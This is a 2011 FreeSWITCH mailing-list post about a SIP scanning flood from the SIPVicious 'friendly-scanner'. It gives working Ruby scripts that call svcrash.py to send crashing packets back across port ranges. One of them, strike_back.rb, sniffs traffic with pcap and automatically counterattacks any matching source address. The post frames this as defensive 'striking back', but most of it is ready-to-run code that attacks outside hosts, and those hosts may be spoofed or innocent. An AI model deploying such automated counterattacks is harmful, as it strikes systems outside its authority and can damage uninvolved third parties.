[Freeswitch-users] SPIT attack and how to strike back

20 Apr 2011

      Hello all,

I would like to share this with you as you may have also been affected
by this threat.

Yesterday we received a SPIT attack to our Freeswitch servers. We had
about 50 register requests/sec. We noticed this as we saw a slight
increase in the load of the Freeswitch servers. Fortunately Freeswitch
can handle a huge amount of register requests so we had no denial of
service.

You can identify this attack by finding the following in the Register
message:
    User-Agent: friendly-scanner

How to get rid of it:
The attacker used Sipvicious (friendly-scanner). Sipvicious itself has a
nice tool "svcrash.py" wich can send a malformed packet back to the
attacker which crashes their own Sipvicious tool. You can issue this tool by
  python svcrash.py -d <host of attacker> -p <port of attacker>
You will need port 5060 on your machine to work. But there is also a
workaround for that. svcrash.py will show how to overcome this if your
port 5060 is not available.
Download it here
http://sipvicious.googlecode.com/files/sipvicious-0.2.6.tar.gz and
unpack it to a folder of your choice.

I wrote a small Ruby script to send the packet back to a port range, as
our attacker used some dozens of ports to send.
Here is the script (Install ruby first by "apt-get install ruby" e.g. on
Debian based systems). Put it into the sipvicious directory
kill_ports.rb:

#!/usr/bin/env ruby
host=ARGV[0]
start_port=ARGV[1].to_i
end_port=ARGV[2].to_i
start_port.upto(end_port) do |port|
  cmd="python svcrash.py -d #{host} -p #{port}"
  p cmd
  erg=`#{cmd}`
  p erg
end

You now can run it by
./kill_ports.rb <ip> <from_port> <to_port>

By using this tool we got rid of most of the SPIT messages. But after a
while they started again to attack us from different ports.

The next step is: Why not automate this by trying to identify host and
port automatically and send back the svcrash.py packet to the sender's port?

First install the pcap library
    apt-get install libpcap-dev libpcap-ruby

Then I wrote the following tool to automate this, it makes use of the
kill_ports.rb above:
strike_back.rb:

#!/usr/bin/env ruby
# I used some code from http://snippets.dzone.com/posts/show/5931
require 'pcaplet'
require 'logger'
require 'timeout'
@timeout=3600 # max runtime: 1 hour

@logfile='strike_back.log'
class AuditLogger < Logger
  def format_message(severity, timestamp, progname, msg)
    puts msg
    "#{msg}\n"
  end
end

logfile = File.open(@logfile, 'a')
LOGGER = AuditLogger.new(logfile)
LOGGER.level = Logger::INFO
search="friendly-scanner"
puts"Searching for '#{ search}' in SIP packets"
$network = Pcaplet.new('-s 1500')
$filter = Pcap::Filter.new('udp and dst port 5060', $network.capture)
$network.add_filter($filter)
puts "Logfile: #{@logfile}"
puts "Starting capture..."
begin
  Timeout.timeout(@timeout) do # 3600 sec
    for p in $network
        header= "#{Time.now.strftime("%Y-%m-%d %H:%M:%S")}
#{p.src}:#{p.sport} => #{p.dst}:#{p.dport}"
        if $filter =~ p
            #puts "simple search"
            if p.udp_data.index(search)
              LOGGER.info "Kill Friendly scanner #{p.src} with Source
Port #{p.sport}"
              cmd="./kill_ports.rb #{p.src} #{p.sport} #{p.sport}"
              erg=`#{cmd}`
              p erg
              LOGGER.info header
              LOGGER.info p.udp_data
            end
        end
    end
  end
rescue Timeout::Error
  logfile.flush
  puts "Timeout - finished."
end

There may be a better way to code this, but at least it worked. After
about 15min the number of attacks went to 0.

Disclaimer: You can damage other systems by using these tools. So be
carefull and use at your own risks. Do not use this tool for attacking
other systems!

Best regards
Peter

[Freeswitch-users] SPIT attack and how to strike back

Peter P GMX